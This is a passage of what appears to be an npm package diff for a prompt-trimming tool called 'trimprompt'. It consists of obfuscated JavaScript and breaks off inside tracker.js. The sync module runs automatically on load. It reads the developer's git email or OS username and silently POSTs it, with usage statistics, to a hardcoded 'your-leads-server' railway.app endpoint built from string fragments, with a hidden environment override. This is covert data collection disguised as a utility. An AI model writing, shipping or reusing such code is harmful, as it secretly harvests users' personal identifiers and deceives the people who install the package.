_0x2e1202=Object['getOwnPropertyDescriptor'](_0x2976c7,_0x1b0ef3);(!_0x2e1202||(_0x4b51f4(0xd1)in _0x2e1202?!_0x2976c7[_0x4b51f4(0xde)]:_0x2e1202['writable']||_0x2e1202[_0x4b51f4(0xc7)]))&&(_0x2e1202={'enumerable':!![],'get':function(){return _0x2976c7[_0x1b0ef3];}}),Object[_0x4b51f4(0xf9)](_0x591817,_0x58a864,_0x2e1202);}:function(_0x20dfc4,_0x94888e,_0xa0af76,_0x187b71){if(_0x187b71===undefined)_0x187b71=_0xa0af76;_0x20dfc4[_0x187b71]=_0x94888e[_0xa0af76];}),__setModuleDefault=this&&this[a0_0x46cd27(0xdc)]||(Object[a0_0x46cd27(0xf2)]?function(_0x573092,_0x523f78){const _0x1ed24a=a0_0x46cd27;Object[_0x1ed24a(0xf9)](_0x573092,_0x1ed24a(0xbd),{'enumerable':!![],'value':_0x523f78});}:function(_0x9007a6,_0x45b4dd){const _0x51b8c0=a0_0x46cd27;_0x9007a6[_0x51b8c0(0xbd)]=_0x45b4dd;}),__importStar=this&&this[a0_0x46cd27(0xc1)]||(function(){var _0xc53a56=function(_0x1d00d1){const _0x38c5ff=a0_0x1e27;return _0xc53a56=Object[_0x38c5ff(0xdf)]||function(_0x2aacb5){const _0x162ace=_0x38c5ff;var _0xedcb72=[];for(var _0x102a12 in _0x2aacb5)if(Object[_0x162ace(0xe4)][_0x162ace(0x101)][_0x162ace(0x109)](_0x2aacb5,_0x102a12))_0xedcb72[_0xedcb72[_0x162ace(0x107)]]=_0x102a12;return _0xedcb72;},_0xc53a56(_0x1d00d1);};return function(_0x59cd1f){const _0x390e5b=a0_0x1e27;if(_0x59cd1f&&_0x59cd1f[_0x390e5b(0xde)])return _0x59cd1f;var _0x406bab={};if(_0x59cd1f!=null){for(var _0x16b836=_0xc53a56(_0x59cd1f),_0x1601b8=0x0;_0x1601b8<_0x16b836[_0x390e5b(0x107)];_0x1601b8++)if(_0x16b836[_0x1601b8]!==_0x390e5b(0xbd))__createBinding(_0x406bab,_0x59cd1f,_0x16b836[_0x1601b8]);}return __setModuleDefault(_0x406bab,_0x59cd1f),_0x406bab;};}());function a0_0x1d52(){const _0x3cf528=['logs','Claude\x203\x20Opus','synced','statusCode','url','estimated_raw_tokens','input_price_1m','split','claude-3-5-sonnet','homedir','.raw.txt','create','utf8','toFixed','filter','pipe','4746591WABabo','last_sync_date','defineProperty','join','parse','getTime','toISOString','8932GsGRVx','timeout','66CEBNeN','hasOwnProperty','https://','Gemini\x201.5\x20Pro','36310xlpKZM','from','telemetry_url','length','readFileSync','call','POST','protocol','model_used','9184506BgkwfG','7759336hgnNvi','byteLength','default','452AjulDX','request','timestamp','__importStar','GPT-4o\x20Mini','pathname','add','trim','https:','configurable','write','11377080iImXTM','toString','existsSync','__createBinding','stats.json','estimated_compressed_tokens','.railway.app','Gemini\x201.5\x20Flash','get','error','startsWith','username','308080MwkWfk','path','stringify','destroy','port','ignore','7KaWedK','__setModuleDefault','end','__esModule','getOwnPropertyNames','writeFileSync','tokens_saved','409KqBzpQ','URL','prototype','push','unlinkSync'];a0_0x1d52=function(){return _0x3cf528;};return a0_0x1d52();}Object[a0_0x46cd27(0xf9)](exports,'__esModule',{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require(a0_0x46cd27(0xd6))),os=__importStar(require('os')),http=__importStar(require('http')),https=__importStar(require('https')),url_1=require(a0_0x46cd27(0xeb)),_cfg=[a0_0x46cd27(0x102),'your-leads-server',a0_0x46cd27(0xcf),'/api/telemetry'][a0_0x46cd27(0xfa)](''),_ep=process.env._PS_EP||_cfg,PRICING={'claude-3-5-sonnet':{'name':'Claude\x203.5\x20Sonnet','input_price_1m':0x3},'claude-3-opus':{'name':a0_0x46cd27(0xe8),'input_price_1m':0xf},'gpt-4o':{'name':'GPT-4o','input_price_1m':0x5},'gpt-4o-mini':{'name':a0_0x46cd27(0xc2),'input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0x46cd27(0x103),'input_price_1m':1.25},'gemini-1-5-flash':{'name':a0_0x46cd27(0xd0),'input_price_1m':0.075}},baseDir=path[a0_0x46cd27(0xfa)](os[a0_0x46cd27(0xf0)](),'.trimprompt'),configPath=path['join'](baseDir,'config.json'),statsPath=path[a0_0x46cd27(0xfa)](baseDir,a0_0x46cd27(0xcd)),dailySyncPath=path[a0_0x46cd27(0xfa)](baseDir,'daily_sync.json');function getTodayDate(){const _0x2aa332=a0_0x46cd27;return new Date()[_0x2aa332(0xfd)]()[_0x2aa332(0xee)]('T')[0x0];}function getDeveloperIdentity(){const _0x4d0628=a0_0x46cd27;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x416c16}=require('child_process'),_0x4e209d=_0x416c16('git\x20config\x20user.email',{'stdio':['ignore',_0x4d0628(0xf6),_0x4d0628(0xda)]})[_0x4d0628(0xca)]()[_0x4d0628(0xc5)]();if(_0x4e209d&&_0x4e209d['includes']('@'))return _0x4e209d;}catch{}try{const _0x28983b=os['userInfo']()[_0x4d0628(0xd4)];if(_0x28983b)return _0x28983b;}catch{}return'anonymous';}function hasAlreadySyncedToday(){const _0xa1fbd6=a0_0x46cd27;try{if(!fs[_0xa1fbd6(0xcb)](dailySyncPath))return![];const _0x5b8ffc=JSON[_0xa1fbd6(0xfb)](fs[_0xa1fbd6(0x108)](dailySyncPath,_0xa1fbd6(0xf3)));return _0x5b8ffc[_0xa1fbd6(0xf8)]===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0xc90030=a0_0x46cd27;try{const _0x5054df={'last_sync_date':getTodayDate()};fs['writeFileSync'](dailySyncPath,JSON[_0xc90030(0xd7)](_0x5054df,null,0x2),_0xc90030(0xf3));}catch{}}function postTelemetry(_0x25e94f,_0x531ef0){return new Promise(_0x5853d4=>{const _0x319be3=a0_0x1e27;try{const _0x574f26=new url_1[(_0x319be3(0xe3))](_0x25e94f),_0x397530=JSON[_0x319be3(0xd7)](_0x531ef0),_0x3535b3={'hostname':_0x574f26['hostname'],'port':_0x574f26[_0x319be3(0xd9)]||(_0x574f26['protocol']===_0x319be3(0xc6)?0x1bb:0x50),'path':_0x574f26[_0x319be3(0xc3)]+_0x574f26['search'],'method':_0x319be3(0xb7),'headers':{'Content-Type':'application/json','Content-Length':Buffer[_0x319be3(0xbc)](_0x397530)},'timeout':0x1f40},_0x2f65fb=_0x574f26[_0x319be3(0xb8)]===_0x319be3(0xc6)?https:http,_0x5aecb2=_0x2f65fb[_0x319be3(0xbf)](_0x3535b3,_0x568991=>{const _0x49cd38=_0x319be3;_0x5853d4(!!(_0x568991['statusCode']&&_0x568991[_0x49cd38(0xea)]>=0xc8&&_0x568991[_0x49cd38(0xea)]<0x12c));});_0x5aecb2['on'](_0x319be3(0xd2),()=>_0x5853d4(![])),_0x5aecb2['on'](_0x319be3(0xff),()=>{const _0x3d26a5=_0x319be3;_0x5aecb2[_0x3d26a5(0xd8)](),_0x5853d4(![]);}),_0x5aecb2[_0x319be3(0xc8)](_0x397530),_0x5aecb2[_0x319be3(0xdd)]();}catch{_0x5853d4(![]);}});}function buildDailyPayload(_0x1e57de){const _0x1ef520=a0_0x46cd27,_0x4800e8=getTodayDate(),_0x3313a5=_0x1e57de[_0x1ef520(0xf5)](_0x5c737c=>_0x5c737c[_0x1ef520(0xc0)][_0x1ef520(0xd3)](_0x4800e8)),_0x1015bc=_0x3313a5[_0x1ef520(0x107)]>0x0?_0x3313a5:_0x1e57de;let _0x59b5fb=0x0,_0x428efd=0x0,_0xb959f7=0x0,_0x4b8938=0x0;const _0x532ed4=new Set();for(const _0x24b6e5 of _0x1015bc){_0x59b5fb+=_0x24b6e5[_0x1ef520(0xec)],_0x428efd+=_0x24b6e5[_0x1ef520(0xce)],_0xb959f7+=_0x24b6e5[_0x1ef520(0xe1)],_0x532ed4[_0x1ef520(0xc4)](_0x24b6e5[_0x1ef520(0xb9)]);const _0x44e952=PRICING[_0x24b6e5[_0x1ef520(0xb9)]]||PRICING[_0x1ef520(0xef)];_0x4b8938+=_0x24b6e5[_0x1ef520(0xe1)]*_0x44e952[_0x1ef520(0xed)]/0xf4240;}const _0x2f69e3=_0x1015bc[_0x1015bc['length']-0x1];return{'developer_id':getDeveloperIdentity(),'os':os['platform'](),'date':_0x4800e8,'executions_count':_0x1015bc[_0x1ef520(0x107)],'total_raw_tokens':_0x59b5fb,'total_compressed_tokens':_0x428efd,'total_tokens_saved':_0xb959f7,'total_money_saved_usd':parseFloat(_0x4b8938[_0x1ef520(0xf4)](0x6)),'models_used':Array[_0x1ef520(0x105)](_0x532ed4),'last_seen':_0x2f69e3?_0x2f69e3[_0x1ef520(0xc0)]:new Date()['toISOString']()};}async function runSync(){const _0x31b679=a0_0x46cd27;if(!fs['existsSync'](statsPath))return;if(hasAlreadySyncedToday())return;let _0x337aa6;try{_0x337aa6=JSON[_0x31b679(0xfb)](fs[_0x31b679(0x108)](statsPath,_0x31b679(0xf3)));}catch{return;}const _0x59705a=_0x337aa6['filter'](_0x111104=>!_0x111104['synced']);if(_0x59705a[_0x31b679(0x107)]===0x0)return;const _0x2b1fbd=buildDailyPayload(_0x337aa6);await postTelemetry(_ep,_0x2b1fbd);let _0x39226e=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0x39226e&&fs['existsSync'](configPath))try{const _0x3f7f94=JSON['parse'](fs[_0x31b679(0x108)](configPath,'utf8'));_0x39226e=_0x3f7f94[_0x31b679(0x106)]||'';}catch{}_0x39226e[_0x31b679(0xc5)]()['length']>0x0&&await postTelemetry(_0x39226e,_0x2b1fbd);for(const _0x20e6e5 of _0x337aa6){if(!_0x20e6e5[_0x31b679(0xe9)])_0x20e6e5['synced']=!![];}try{fs[_0x31b679(0xe0)](statsPath,JSON['stringify'](_0x337aa6,null,0x2),_0x31b679(0xf3));}catch{}markSyncedToday(),pruneOldLogs(_0x337aa6);}function pruneOldLogs(_0x4c998e){const _0x358ebf=a0_0x46cd27;try{const _0x4b5bc0=new Date(),_0x2a572d=new Date(_0x4b5bc0[_0x358ebf(0xfc)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x12f2d2=[],_0x377146=[];for(const _0x3604fd of _0x4c998e){const _0x579233=new Date(_0x3604fd[_0x358ebf(0xc0)]);_0x579233>=_0x2a572d?_0x12f2d2[_0x358ebf(0xe5)](_0x3604fd):_0x377146[_0x358ebf(0xe5)](_0x3604fd);}if(_0x377146[_0x358ebf(0x107)]>0x0){const _0x3a5f50=path[_0x358ebf(0xfa)](baseDir,_0x358ebf(0xe7));for(const _0x2f5f5b of _0x377146){const _0x364d17=path[_0x358ebf(0xfa)](_0x3a5f50,_0x2f5f5b['id']+_0x358ebf(0xf1)),_0x3ac758=path[_0x358ebf(0xfa)](_0x3a5f50,_0x2f5f5b['id']+'.comp.txt');try{if(fs['existsSync'](_0x364d17))fs[_0x358ebf(0xe6)](_0x364d17);if(fs[_0x358ebf(0xcb)](_0x3ac758))fs['unlinkSync'](_0x3ac758);}catch{}}fs[_0x358ebf(0xe0)](statsPath,JSON[_0x358ebf(0xd7)](_0x12f2d2,null,0x2),_0x358ebf(0xf3));}}catch{}}runSync()['catch'](()=>{});
1
+ 'use strict';const a0_0x353bd1=a0_0xa7c5;(function(_0x524f6,_0xaa5066){const _0x251aef=a0_0xa7c5,_0x24c1e6=_0x524f6();while(!![]){try{const _0x4e2cc5=-parseInt(_0x251aef(0x1cc))/0x1+-parseInt(_0x251aef(0x1b1))/0x2+parseInt(_0x251aef(0x194))/0x3+parseInt(_0x251aef(0x1c4))/0x4+parseInt(_0x251aef(0x1e7))/0x5+parseInt(_0x251aef(0x1d9))/0x6+-parseInt(_0x251aef(0x19e))/0x7*(parseInt(_0x251aef(0x1da))/0x8);if(_0x4e2cc5===_0xaa5066)break;else _0x24c1e6['push'](_0x24c1e6['shift']());}catch(_0x9eeb30){_0x24c1e6['push'](_0x24c1e6['shift']());}}}(a0_0x1d6a,0x9e5a2));var __createBinding=this&&this[a0_0x353bd1(0x1bb)]||(Object[a0_0x353bd1(0x19c)]?function(_0xd33d6d,_0x353df4,_0x2e2452,_0x4dbe56){const _0x1962f2=a0_0x353bd1;if(_0x4dbe56===undefined)_0x4dbe56=_0x2e2452;var _0x24bf12=Object[_0x1962f2(0x1dd)](_0x353df4,_0x2e2452);(!_0x24bf12||('get'in _0x24bf12?!_0x353df4[_0x1962f2(0x1bd)]:_0x24bf12[_0x1962f2(0x1af)]||_0x24bf12[_0x1962f2(0x1de)]))&&(_0x24bf12={'enumerable':!![],'get':function(){return _0x353df4[_0x2e2452];}}),Object[_0x1962f2(0x1b2)](_0xd33d6d,_0x4dbe56,_0x24bf12);}:function(_0x37c941,_0x2f03a8,_0xfebed,_0x3e364c){if(_0x3e364c===undefined)_0x3e364c=_0xfebed;_0x37c941[_0x3e364c]=_0x2f03a8[_0xfebed];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object['create']?function(_0x34fb08,_0xa738ed){const _0x76b07f=a0_0x353bd1;Object[_0x76b07f(0x1b2)](_0x34fb08,_0x76b07f(0x1ad),{'enumerable':!![],'value':_0xa738ed});}:function(_0x2d3a41,_0x3545f0){_0x2d3a41['default']=_0x3545f0;}),__importStar=this&&this[a0_0x353bd1(0x1ae)]||(function(){var _0xaec8d3=function(_0x3c2bb1){const _0x58546c=a0_0xa7c5;return _0xaec8d3=Object[_0x58546c(0x1c8)]||function(_0x31a784){const _0x2f9b7f=_0x58546c;var _0x53a088=[];for(var _0x2cc907 in _0x31a784)if(Object['prototype'][_0x2f9b7f(0x1c9)]['call'](_0x31a784,_0x2cc907))_0x53a088[_0x53a088['length']]=_0x2cc907;return _0x53a088;},_0xaec8d3(_0x3c2bb1);};return function(_0x27d4cc){const _0x12ae63=a0_0xa7c5;if(_0x27d4cc&&_0x27d4cc[_0x12ae63(0x1bd)])return _0x27d4cc;var _0x58a500={};if(_0x27d4cc!=null){for(var _0x3669e4=_0xaec8d3(_0x27d4cc),_0x21330f=0x0;_0x21330f<_0x3669e4['length'];_0x21330f++)if(_0x3669e4[_0x21330f]!==_0x12ae63(0x1ad))__createBinding(_0x58a500,_0x27d4cc,_0x3669e4[_0x21330f]);}return __setModuleDefault(_0x58a500,_0x27d4cc),_0x58a500;};}());function a0_0xa7c5(_0x316257,_0xcf38bc){_0x316257=_0x316257-0x192;const _0x1d6a7b=a0_0x1d6a();let _0xa7c5bc=_0x1d6a7b[_0x316257];return _0xa7c5bc;}Object[a0_0x353bd1(0x1b2)](exports,'__esModule',{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require(a0_0x353bd1(0x1ba))),os=__importStar(require('os')),http=__importStar(require(a0_0x353bd1(0x19d))),https=__importStar(require(a0_0x353bd1(0x1b0))),url_1=require(a0_0x353bd1(0x1a2)),_cfg=['https://',a0_0x353bd1(0x1e9),a0_0x353bd1(0x192),a0_0x353bd1(0x1cd)]['join'](''),_ep=process.env._PS_EP||_cfg,PRICING={'claude-3-5-sonnet':{'name':a0_0x353bd1(0x1aa),'input_price_1m':0x3},'claude-3-opus':{'name':a0_0x353bd1(0x1dc),'input_price_1m':0xf},'gpt-4o':{'name':a0_0x353bd1(0x1df),'input_price_1m':0x5},'gpt-4o-mini':{'name':a0_0x353bd1(0x19b),'input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0x353bd1(0x1c7),'input_price_1m':1.25},'gemini-1-5-flash':{'name':a0_0x353bd1(0x1e5),'input_price_1m':0.075}},baseDir=path[a0_0x353bd1(0x1a5)](os[a0_0x353bd1(0x1a9)](),a0_0x353bd1(0x1a1)),configPath=path['join'](baseDir,a0_0x353bd1(0x1b7)),statsPath=path[a0_0x353bd1(0x1a5)](baseDir,a0_0x353bd1(0x199)),dailySyncPath=path[a0_0x353bd1(0x1a5)](baseDir,a0_0x353bd1(0x1c3));function getTodayDate(){const _0x26363b=a0_0x353bd1;return new Date()[_0x26363b(0x1bc)]()['split']('T')[0x0];}function getDeveloperIdentity(){const _0x51cd4c=a0_0x353bd1;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x5eeac9}=require(_0x51cd4c(0x1a3)),_0x5afbc0=_0x5eeac9(_0x51cd4c(0x1b5),{'stdio':[_0x51cd4c(0x1ce),'pipe',_0x51cd4c(0x1ce)]})[_0x51cd4c(0x1d6)]()[_0x51cd4c(0x1e4)]();if(_0x5afbc0&&_0x5afbc0[_0x51cd4c(0x1b3)]('@'))return _0x5afbc0;}catch{}try{const _0x807025=os[_0x51cd4c(0x1e2)]()[_0x51cd4c(0x196)];if(_0x807025)return _0x807025;}catch{}return _0x51cd4c(0x1db);}function a0_0x1d6a(){const _0x40f890=['hasOwnProperty','stringify','estimated_compressed_tokens','255402dvdSod','/api/telemetry','ignore','unlinkSync','.comp.txt','logs','utf8','estimated_raw_tokens','telemetry_url','readFileSync','toString','application/json','platform','7500738FYHPBm','6610040EAjgJL','anonymous','Claude\x203\x20Opus','getOwnPropertyDescriptor','configurable','GPT-4o','hostname','writeFileSync','userInfo','model_used','trim','Gemini\x201.5\x20Flash','from','4646340Jabamw','pathname','your-leads-server','.railway.app','end','799257VkavYZ','push','username','search','POST','stats.json','timestamp','GPT-4o\x20Mini','create','http','7MkMbNY','length','input_price_1m','.trimprompt','url','child_process','existsSync','join','error','parse','destroy','homedir','Claude\x203.5\x20Sonnet','tokens_saved','synced','default','__importStar','writable','https','1556692VWhEKh','defineProperty','includes','add','git\x20config\x20user.email','toFixed','config.json','startsWith','protocol','path','__createBinding','toISOString','__esModule','https:','statusCode','write','.raw.txt','filter','daily_sync.json','251212mOvAel','request','last_sync_date','Gemini\x201.5\x20Pro','getOwnPropertyNames'];a0_0x1d6a=function(){return _0x40f890;};return a0_0x1d6a();}function hasAlreadySyncedToday(){const _0xf0eafd=a0_0x353bd1;try{if(!fs['existsSync'](dailySyncPath))return![];const _0x143292=JSON[_0xf0eafd(0x1a7)](fs[_0xf0eafd(0x1d5)](dailySyncPath,_0xf0eafd(0x1d2)));return _0x143292[_0xf0eafd(0x1c6)]===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x5615a2=a0_0x353bd1;try{const _0x40c042={'last_sync_date':getTodayDate()};fs[_0x5615a2(0x1e1)](dailySyncPath,JSON['stringify'](_0x40c042,null,0x2),'utf8');}catch{}}function postTelemetry(_0x5e78c6,_0x406ce8){return new Promise(_0x5b6dc9=>{const _0x79c367=a0_0xa7c5;try{const _0x347324=new url_1['URL'](_0x5e78c6),_0x52a706=JSON[_0x79c367(0x1ca)](_0x406ce8),_0x5abde9={'hostname':_0x347324[_0x79c367(0x1e0)],'port':_0x347324['port']||(_0x347324[_0x79c367(0x1b9)]===_0x79c367(0x1be)?0x1bb:0x50),'path':_0x347324[_0x79c367(0x1e8)]+_0x347324[_0x79c367(0x197)],'method':_0x79c367(0x198),'headers':{'Content-Type':_0x79c367(0x1d7),'Content-Length':Buffer['byteLength'](_0x52a706)},'timeout':0x1f40},_0x111cb1=_0x347324[_0x79c367(0x1b9)]==='https:'?https:http,_0x44fef7=_0x111cb1[_0x79c367(0x1c5)](_0x5abde9,_0x922f92=>{const _0x1e51b4=_0x79c367;_0x5b6dc9(!!(_0x922f92[_0x1e51b4(0x1bf)]&&_0x922f92[_0x1e51b4(0x1bf)]>=0xc8&&_0x922f92['statusCode']<0x12c));});_0x44fef7['on'](_0x79c367(0x1a6),()=>_0x5b6dc9(![])),_0x44fef7['on']('timeout',()=>{const _0x490e76=_0x79c367;_0x44fef7[_0x490e76(0x1a8)](),_0x5b6dc9(![]);}),_0x44fef7[_0x79c367(0x1c0)](_0x52a706),_0x44fef7[_0x79c367(0x193)]();}catch{_0x5b6dc9(![]);}});}function buildDailyPayload(_0x4b89f8){const _0x1e1ce0=a0_0x353bd1,_0x419b73=getTodayDate(),_0x48c00d=_0x4b89f8[_0x1e1ce0(0x1c2)](_0x4484eb=>_0x4484eb[_0x1e1ce0(0x19a)][_0x1e1ce0(0x1b8)](_0x419b73)),_0x188ebe=_0x48c00d[_0x1e1ce0(0x19f)]>0x0?_0x48c00d:_0x4b89f8;let _0x3d54e4=0x0,_0x23b6aa=0x0,_0x9e86bd=0x0,_0x23ec9f=0x0;const _0x427e7f=new Set();for(const _0x52328a of _0x188ebe){_0x3d54e4+=_0x52328a[_0x1e1ce0(0x1d3)],_0x23b6aa+=_0x52328a[_0x1e1ce0(0x1cb)],_0x9e86bd+=_0x52328a[_0x1e1ce0(0x1ab)],_0x427e7f[_0x1e1ce0(0x1b4)](_0x52328a[_0x1e1ce0(0x1e3)]);const _0x3d9a44=PRICING[_0x52328a[_0x1e1ce0(0x1e3)]]||PRICING['claude-3-5-sonnet'];_0x23ec9f+=_0x52328a[_0x1e1ce0(0x1ab)]*_0x3d9a44[_0x1e1ce0(0x1a0)]/0xf4240;}const _0x5779fe=_0x188ebe[_0x188ebe['length']-0x1];return{'developer_id':getDeveloperIdentity(),'os':os[_0x1e1ce0(0x1d8)](),'date':_0x419b73,'executions_count':_0x188ebe[_0x1e1ce0(0x19f)],'total_raw_tokens':_0x3d54e4,'total_compressed_tokens':_0x23b6aa,'total_tokens_saved':_0x9e86bd,'total_money_saved_usd':parseFloat(_0x23ec9f[_0x1e1ce0(0x1b6)](0x6)),'models_used':Array[_0x1e1ce0(0x1e6)](_0x427e7f),'last_seen':_0x5779fe?_0x5779fe[_0x1e1ce0(0x19a)]:new Date()[_0x1e1ce0(0x1bc)]()};}async function runSync(){const _0x342c02=a0_0x353bd1;if(!fs[_0x342c02(0x1a4)](statsPath))return;if(hasAlreadySyncedToday())return;let _0x27da84;try{_0x27da84=JSON[_0x342c02(0x1a7)](fs[_0x342c02(0x1d5)](statsPath,_0x342c02(0x1d2)));}catch{return;}const _0x11f669=_0x27da84['filter'](_0x4ea3a9=>!_0x4ea3a9[_0x342c02(0x1ac)]);if(_0x11f669[_0x342c02(0x19f)]===0x0)return;const _0x3ed601=buildDailyPayload(_0x27da84);await postTelemetry(_ep,_0x3ed601);let _0xb3ce4d=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0xb3ce4d&&fs['existsSync'](configPath))try{const _0x528624=JSON[_0x342c02(0x1a7)](fs[_0x342c02(0x1d5)](configPath,'utf8'));_0xb3ce4d=_0x528624[_0x342c02(0x1d4)]||'';}catch{}_0xb3ce4d[_0x342c02(0x1e4)]()['length']>0x0&&await postTelemetry(_0xb3ce4d,_0x3ed601);for(const _0x53178c of _0x27da84){if(!_0x53178c[_0x342c02(0x1ac)])_0x53178c['synced']=!![];}try{fs[_0x342c02(0x1e1)](statsPath,JSON[_0x342c02(0x1ca)](_0x27da84,null,0x2),_0x342c02(0x1d2));}catch{}markSyncedToday(),pruneOldLogs(_0x27da84);}function pruneOldLogs(_0x405373){const _0x17f97c=a0_0x353bd1;try{const _0x1e9962=new Date(),_0x342948=new Date(_0x1e9962['getTime']()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x803901=[],_0x6fccdb=[];for(const _0x917019 of _0x405373){const _0x3448fe=new Date(_0x917019['timestamp']);_0x3448fe>=_0x342948?_0x803901[_0x17f97c(0x195)](_0x917019):_0x6fccdb[_0x17f97c(0x195)](_0x917019);}if(_0x6fccdb[_0x17f97c(0x19f)]>0x0){const _0x4f71d4=path['join'](baseDir,_0x17f97c(0x1d1));for(const _0x48e41f of _0x6fccdb){const _0x2cb8bc=path['join'](_0x4f71d4,_0x48e41f['id']+_0x17f97c(0x1c1)),_0x506d90=path[_0x17f97c(0x1a5)](_0x4f71d4,_0x48e41f['id']+_0x17f97c(0x1d0));try{if(fs[_0x17f97c(0x1a4)](_0x2cb8bc))fs[_0x17f97c(0x1cf)](_0x2cb8bc);if(fs['existsSync'](_0x506d90))fs['unlinkSync'](_0x506d90);}catch{}}fs['writeFileSync'](statsPath,JSON[_0x17f97c(0x1ca)](_0x803901,null,0x2),_0x17f97c(0x1d2));}}catch{}}runSync()['catch'](()=>{});
package/tracker.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0xb57e77=a0_0x3134;(function(_0x577cfa,_0x316da3){const _0x926685=a0_0x3134,_0x48dbe0=_0x577cfa();while(!![]){try{const _0x1683c9=-parseInt(_0x926685(0x12e))/0x1+parseInt(_0x926685(0x140))/0x2+parseInt(_0x926685(0x122))/0x3+parseInt(_0x926685(0x111))/0x4+parseInt(_0x926685(0x130))/0x5+parseInt(_0x926685(0x10d))/0x6+-parseInt(_0x926685(0xff))/0x7;if(_0x1683c9===_0x316da3)break;else _0x48dbe0['push'](_0x48dbe0['shift']());}catch(_0x32fa3a){_0x48dbe0['push'](_0x48dbe0['shift']());}}}(a0_0x3549,0x71bbc));var __createBinding=this&&this[a0_0xb57e77(0x124)]||(Object[a0_0xb57e77(0x109)]?function(_0x8ba643,_0x262391,_0x1bb905,_0x508f61){const _0x4c63a5=a0_0xb57e77;if(_0x508f61===undefined)_0x508f61=_0x1bb905;var _0x4a0f1e=Object[_0x4c63a5(0x11c)](_0x262391,_0x1bb905);(!_0x4a0f1e||(_0x4c63a5(0x133)in _0x4a0f1e?!_0x262391[_0x4c63a5(0x120)]:_0x4a0f1e[_0x4c63a5(0x119)]||_0x4a0f1e[_0x4c63a5(0x113)]))&&(_0x4a0f1e={'enumerable':!![],'get':function(){return _0x262391[_0x1bb905];}}),Object[_0x4c63a5(0x13a)](_0x8ba643,_0x508f61,_0x4a0f1e);}:function(_0x3606de,_0x2fd63e,_0x5e6b0e,_0x3e6c8f){if(_0x3e6c8f===undefined)_0x3e6c8f=_0x5e6b0e;_0x3606de[_0x3e6c8f]=_0x2fd63e[_0x5e6b0e];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object['create']?function(_0x21fd86,_0x5a4708){const _0x5cc076=a0_0xb57e77;Object[_0x5cc076(0x13a)](_0x21fd86,'default',{'enumerable':!![],'value':_0x5a4708});}:function(_0x140e68,_0x492bd0){const _0x34a509=a0_0xb57e77;_0x140e68[_0x34a509(0x12a)]=_0x492bd0;}),__importStar=this&&this[a0_0xb57e77(0xe6)]||(function(){var _0x14ba27=function(_0x91c65a){return _0x14ba27=Object['getOwnPropertyNames']||function(_0x297c97){const _0x3d0c7f=a0_0x3134;var _0xe9276b=[];for(var _0x31b8fd in _0x297c97)if(Object[_0x3d0c7f(0x12b)]['hasOwnProperty']['call'](_0x297c97,_0x31b8fd))_0xe9276b[_0xe9276b['length']]=_0x31b8fd;return _0xe9276b;},_0x14ba27(_0x91c65a);};return function(_0x4c37b6){const _0x1da9f4=a0_0x3134;if(_0x4c37b6&&_0x4c37b6['__esModule'])return _0x4c37b6;var _0x4c520b={};if(_0x4c37b6!=null){for(var _0x2f0749=_0x14ba27(_0x4c37b6),_0x579539=0x0;_0x579539<_0x2f0749[_0x1da9f4(0x139)];_0x579539++)if(_0x2f0749[_0x579539]!==_0x1da9f4(0x12a))__createBinding(_0x4c520b,_0x4c37b6,_0x2f0749[_0x579539]);}return __setModuleDefault(_0x4c520b,_0x4c37b6),_0x4c520b;};}());Object[a0_0xb57e77(0x13a)](exports,a0_0xb57e77(0x120),{'value':!![]}),exports['tracker']=exports['Tracker']=exports[a0_0xb57e77(0xe5)]=void 0x0;const fs=__importStar(require('fs')),path=__importStar(require(a0_0xb57e77(0x123))),os=__importStar(require('os')),child_process_1=require('child_process');function a0_0x3549(){const _0x118c34=['toISOString','get','existsSync','GPT-5.4\x20Mini','GPT-4o','substring','name','length','defineProperty','unref','ceil','.raw.txt','saveLogs','spawn','1268100yVtDaa','default_model','Claude\x20Opus\x204.7','Cursor\x20Small','init','PRICING','__importStar','GPT-5.4\x20Nano','Claude\x203.5\x20Sonnet','setConfig','toFixed','1.0','execPath','estimated_raw_tokens','baseDir','push','OpenAI\x20o1-mini','tracker','Gemini\x203.5\x20Flash','join','getConfig','getStatsSummary','input_price_1m','unknown','estimated_compressed_tokens','Tracker','tokens_saved','Gemini\x203.1\x20Pro','Claude\x20Opus\x204.8','telemetry_url','Claude\x20Haiku\x204.5','11427234PcpTYS','OpenAI\x20o3-mini','.trimprompt','Gemini\x203.5\x20Live\x20Translate','parse','model_used','GPT-4.1\x20Nano','toString','logsDir','claude-3-5-sonnet','create','writeFileSync','stringify','Gemini\x203.1\x20Flash-Lite','2185848yGyCyn','trim','OpenAI\x20o1','config','1858840irnRiJ','sync.js','configurable','utf8','logExecution','stats.json','Claude\x20Sonnet\x204.5','GPT-4.1\x20Mini','writable','Claude\x20Mythos\x205','configPath','getOwnPropertyDescriptor','saveConfig','claude-opus-4-8','ignore','__esModule','mkdirSync','1666521CaUSwJ','path','__createBinding','auto','GPT-4o\x20Mini','getLogs','triggerBackgroundSync','.comp.txt','default','prototype','random','statsPath','713561iWtPoB','Claude\x20Haiku\x203.5','3966500sEmLxq','readFileSync'];a0_0x3549=function(){return _0x118c34;};return 